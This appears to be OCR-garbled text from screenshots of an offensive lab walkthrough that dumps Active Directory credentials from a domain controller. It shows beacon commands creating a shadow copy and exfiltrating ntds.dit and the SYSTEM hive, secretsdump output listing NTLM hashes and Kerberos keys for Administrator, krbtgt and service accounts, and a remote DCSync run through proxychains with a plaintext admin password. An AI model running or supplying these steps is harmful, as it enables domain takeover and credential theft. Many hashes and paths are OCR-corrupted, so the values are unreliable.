NTDS.DIT

NTDS.DIT [[TITE:A\WjiAad

» ThisPC » Local Disk (C) » Windows » MNTDS

Mame " Date medified Type Size
* edb.chk 5/16/2023 5:09 Pt Recowvered File Fra... 3 KB
g B edb 5/16/2023 &:26 PM  Text Document 10,240 KB
ds ’ edb00002 5/8/2023 2:21 PM Text Document 10,240 KB
s * =| edb00003 5/16/2023 2:24 AM Text Document 10,240 KB
- edb 00004 5/16/2023 429 PM  Text Document 10,240 KB
! [ edbres0D0O1.jrs 1/20/2023 404 PM JRS File 10,240 KB
D edbres00002.jrs 1/20/2023 £:04 PM JRS File 10,240 KB
=| edbtmp 5168/2023 4:29 PM Text Document 10,240 KB
D ntds.dit 5/16/2023 429 PM DIT File 16,384 KB
D ntds.jfrn 5/16/2023 3:11 PM JFM File 16 KB
D temp.edb 5/8/2023 1:06 PM EDE File 424 KB
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beacon> shell wmic shadowcopy call create Volume='C:\*

[#*] Tasked beacon to run: wmic shadowcopy call create Volume='C:\'
[+] host called home, sent: 71 bytes

[+] received output:

Executing (Win32_ShadowCopy)-=create ()

Method execution successful.

Out Parameters:

instance of _ PARAMETERS

{

ReturnValue = 0;
ShadowID = "{4B641E78-3E10-49DA-9FAC-7EADC2E4006B}" ;

beacon> shell vssadmin list shadows

[*] Tasked beacon to run: vssadmin list shadows

[+] host called home, sent: 52 bytes

[+] received output:

vssadmin 1.1 - Volume Shadow Copy Service administrative command-Lline tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {0b60f97h-fefd-420e-91be-20edf3d384b3}
Contained 1 shadow copies at creation time: 5/16/2023 6 1 PH
Shadow Copy ID: {4b641e78-3el0-49da-9fac-7eadc2e4006b}
Original Volume: (C:)\\?\Volume{dOced3e4-70a8-4bd0-b09a-f1116b412677}\
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl
Originating Machine: dc05.white-bird.local
Service Machine: dc05.white-bird.local
Provider: 'Microsoft Software Shadow Copy provider 1.0'
Type: ClientAccessible
Attributes: Persistent, Client-accessible, No auto release, No writers, Differential

[C:\Windows\System32\Config\SYSTEM [C:\Windows\NTDS\ntds.dit[]

beacon> download \\7\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\Syste \Config\SYSTEM

[*] Tasked beacon to download \%?\GLOBALROOT\Device\HarddiskVolumeShado 1I\Windows\Syste \Config\SYSTEM

[+] host called home, sent: bytes

[*] started download of “\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\System32\Config\SYSTEM (17039360 bytes)
[*] download of SYSTEM is complete

beacon> download ‘\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\NTDS\ntds.dit

[*] Tasked beacon to download \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\NTDS\ntds.dit

[+] host called home, sent: 77 bytes

[*] started download of ‘\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl\Windows\NTDS\ntds.dit (16777216 bytes)
[*] download of ntds.dit is complete
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~/Desktop/impacket/examples
/root/Desktop/SYSTEM t /root/Desktop/ntds.dit local
Impacket v@.10.1.dev1+20230116.181610.efcaec35 - Copyright 2022 Fortra

[*] Target system bootKey: @x7832b2a3c72e6d2b21069bef7ebs37fa

[*] Dumping Domain Credentials (domainM\uid:rid:Llmhash:nthash)

[*] Searching for pekList, be patient

[*] PEK # @ found and decrypted: a581a903@93f29ec@ecB8cbeb77307b65

[#*] Reading and decrypting hashes from /root/Desktop/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:913d9c72594982a38d2eccd52602a890 11
Guest:501:3ad3b435b51404eeaad3bs35b51404ee:31d6cfe@d16a2931b73c59d7eACc@89cd 1::
DCA5%:1000:aad3b4s35b51404eeaad3bs3shb51404ee:d9eetabBBlabd3edc57d33edas6@4596 1::
krbtgt:502:aad3b435b51404eeaad3bs35b51404ee:177F837504b8eab94cfPa487Cca%96c267
RAVEN-MED$:1103:aad3b435b51404eeaad3bs35b51404ee: 080achd1f24994e258d527341338940a 11
WEB02%:1104:3ad3b435b51404eeaad3b435b51404ee:a076cflceef50addcbb7ec66930dasnd :::
DEV@1%$:1105:aad3b435b51404eeaad3bs35b51404ee:a8698ab2bc8bf4a8e5f37697721b5cBF 11t
sql_service:1601:aad3b435b51404eeaad3b435b51404ee:b197ce745e4a993a01ee88Cc09ceb@879 112
white-bird.local\macro:1602:aad3b435b51404ecaad3bs35b51404ee:050876T01akabbdc2ce8d65332aachea i::
serveradm:1604:aad3b435b51404eeaad3bs35b51404ee: 72f0eefcc213eaB8f350773b831cf2c9¢C
wanh:1606:aad3b435b51404ecaad3b435b51404ee: F484990439T602598ebf9ce736264FCT 11
vanderha:16@7:aad3b435b51404eecaad3b435b51404ee:4588a27a3e452b9bcfe77492db548801 & ¢
joe:1608:aad3b435b51404eeaad3bs35b51404ee:63c00ad7262f0f30db9236%9a0afd@37e 1
condrey:1609:aad3b435b51404eeaad3b435b51404ee:d27ef23aaa4T20b55b37a0b@3F542¢chC 1 :
bobby:1610:a3ad3b435b51404eeaad3bsi35b51404ee:0735FcfB84335211290633310e8d2a5¢ :::

[#*] Kerberos keys from /root/Desktop/ntds.dit
Administrator:aes256-cts-hmac-shal-96:b377d95adb95ad49ce®7faB39eecst878950511F3dans95bd70d8361be37edB868
Administrator:aes128-cts-hmac-shal-96:9ff55ed9f89eb568bb978d573d56138e
Administrator:des-cbc-md5:cec8f246a81586T4
DCA5%:aes256-cts-hmac-s5hal-96:6b75877f95f8c54a50280d1f2574e6555550d10afc246ea3afsl12a5b4087ca2e
DCO5%:aes128-cts-hmac-shal-96:25f09eB719fae5c9cc5801ed93b6260f

DCO5%:des—chc-md5: e@854357c82fe08c
krbtgt:aes256-cts-hmac-shal-96:a18a1833838ec7b8de21lacdbc9be7806ef87ff979447e4e15a58457622176a4
krbtgt:aesl128-cts-hmac-shal-96:adeeaf4bbac2886b9c119cfbf1c98460
krbtgt:des-cbc-md5:408973b09226F74F
RAVEN-MED%:aes256-cts-hmac-shal-96:e0275ef87b46217d981a600e82ch577a74e7bad1c2022855¢c3027c3fed4d790b
RAVEN-MED$:aes128-cts-hmac-shal-96:3d1285cc7d33c@c5aeea705786e41027

RAVEN-MED$ :des-cbc-md5:987c3d190b764315
WEBD2%$:aes256-cts-hmac-shal-96:e764bb918f0990144c9d3341aaaac@dc5727a1a8900fbe2018887ec43d97e241
WEBR2%:aes128-cts-hmac-shal-96:08e8e4ffc87340e93b39320618740ed7
WEB02%$:des-cbc-md5:156449d3a26d1a67
DEV@1%:aes256-cts-hmac-shal-96:27944c5¢c91c762d5400671d93125a542e9137bb6a03dele58b37d35c15424cda
DEV@1%$:aes128-cts-hmac-shal-96:d857297fa4926f2bfbdaff56822d196F
DEV@1%:des-cbc-md5:91cel945a89bbbce

[LIITITT]
OO impacket [T RPC [IIT0 NTDS.DIT (11T

~/Desktop/impacket/examples
secretsdump.py ~-ip 172.16.1.51 t-dc administrator:Passw@rddc@5awhite-bird.local
[proxychains] config file found: /etc/proxychainsé4.conf
[proxychains] preloading /fusr/lib/x86_64-linux-gnu/Llibproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket vB.10.1.dev1+20230116.181610.efcaec35 - Copyright 2822 Fortra

[proxychains] Dynamic chain ... 127.9.0.1:1080 ... white-bird.local:445

[*] Dumping Domain Credentials (domainh\uid:rid:1lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets

[proxychains] Dynamic chain ... 127.@.@.1:1880 ... white-bird.local:135 ... OK
[proxychains] Dynamic chain ... 127.9.@.1:1880 ... white-bird.local:49667 ... OK
Administrator:5@@:aad3b435b51404ecaad3bs35b51404ee:913d9c72594982a38d2eccd52602a890 :::
Guest:501:3ad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e@c@89cd :::
krbtgt:502:2ad3b435b51404eeaad3b435b51404ee:1771837504b8eab94cfBa487ca96c267 11
sql_service:1601:aad3b435b514@4eeaad3b435b51404ee:b197ce74524a993a01ee88cA9ceb@BT9
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